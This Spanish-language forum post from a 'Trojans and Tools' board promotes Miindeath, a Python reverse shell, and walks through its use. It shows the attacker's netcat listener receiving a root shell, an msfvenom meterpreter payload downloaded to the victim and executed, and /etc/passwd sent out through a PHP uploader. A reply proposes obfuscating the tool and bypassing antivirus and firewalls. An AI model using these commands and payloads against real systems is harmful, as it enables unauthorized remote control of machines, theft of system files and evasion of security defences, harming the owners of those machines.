Miindeath: Una shell inversa minimalista :)

El usuario que posteo esto no tiene suficiente reputacion en el foro. Se aconseja tener precaución.
Miindeath

- Miindeath (Siglas de MInImalist Death). Es una shell inversa escrita en Python ( 3 ). que trata de ser lo más simple posible para lograr comprometer una máquina.

Instalación

No requiere librerías externas

Código: Seleccionar todo

git clone https://github.com/DtxdF/Miindeath.git
cd Miindeath
Modo de ejecución

Código: Seleccionar todo

editor miindeath.py # Nos vamos a las lineas 54-77 y configuramos a nuestro gusto
Ejemplo:

Código: Seleccionar todo

...
class config(object):

    RHOST = '127.0.0.1'
    RPORT = 4444
    LIMIT = 0 # 0 Es infinito
    #timeout = 180 # 3 minutos
    # Los bufers de red
    RECV = 1024
    SEND = 1024
    HEADERS = {
            
        'User-Agent':'Hi!, My Name is DtxdF :)'
            
    }
    
    # Claves de los valores POST
    FILENAME = 'filename' # El nombre del archivo
    FILECONTENT = 'filecontent' # El contenido del archivo

    UNIT_SEP = '.AND.' # Cómo si fuera "bash" o una shell 
                      # cualquiera, para ejecutar varios 
                      # comandos internos.
    SLEEP = 15
    RECONNECT = True # Reconectar sí hay una desconexión, doh.
...
Es fácil deducir qué es cada cosa, pero para simplificar la explicación, sólo cambiemos "RHOST" y "RPORT" a los valores correspondientes.

Atacando:

Código: Seleccionar todo


# Victima:
$ ./miindeath # (En caso que se haya compilado a un ejecutable) o python3 miindeath.py
...
# Atacante:
$ nc -lvvp 4444
listening on [any] 4444 ...
connect to [127.0.0.1] from localhost [127.0.0.1] 32974
(5857): [email protected]:/home/dtxdf/tmp$ shell whoami
root
...
Subiendo y Descargando archivos:

El atacante tiene que tener listo un servidor cualquiera para subir y bajar archivos.

En el caso de la bajada de archivos:

Código: Seleccionar todo

python3 -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
También podria usar Apache (o cualquier otro), pero para hacer una simple demostración ...

Para ser más malévolos, usemos Metasploit O:) ...

Código: Seleccionar todo

msfvenom -p python/meterpreter/reverse_tcp LHOST=localhost LPORT=4445 -o script.py
No platform was selected, choosing Msf::Module::Platform::Python from the payload
No Arch selected, selecting Arch: python from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 446 bytes
Saved as: script.py
En el caso de la subida:

Creamos un simple uploader en PHP (uploader.php) y lo subimos a nuestro servidor con PHP instalado (Aunque podriamos hacer "php -S 0.0.0.0:8081").

Código: Seleccionar todo

<?php

 if (isset($_POST['filename'])&&isset($_POST['filecontent'])) {

 fwrite(fopen(basename($_POST['filename']), 'wb'), $_POST['filecontent']);
 
 }

?>
En la configuración pueden cambiar los nombres de los parámetros POST

Ahora en la shell para descargar:

Código: Seleccionar todo

(5857): [email protected]:/home/dtxdf/tmp$ download http://localhost:8080/script.py /tmp/payload.py
Guardado => /tmp/payload.py
Ahora sólo lo ejecutamos y tenemos una mejor shell con poderes.

Y por último, para subir:

Código: Seleccionar todo

(5857): [email protected]:/home/dtxdf/tmp$ upload http://localhost:8081/uploader.php /etc/passwd
/etc/passwd, fue subido correctamente
:)

Notas:

Aunque sea una simple conexión entre sockets (TCP), la subida y bajada de archivos usa HTTP, simplemente porque es más sencillo para un atacante descargar/subir archivos de cualquier servidor público :)

...

Espero les guste, es mi primer post para el foro :'D

~ DtxdF
A mi me gustó, gracias. Supongo que el paso siguiente sería la ofuscación del código ¿no? podría embeberse el código en otro lenguaje, y supongo que conseguido ello, cabe preguntarse si funcionarán los métodos tradicionales de av/fw bypass aplicados sobre el binario que tiene adentro tu Miindeath. Una alternativa válida a ciertas situaciones... rápidas.
Responder

Volver a “Troyanos y Herramientas”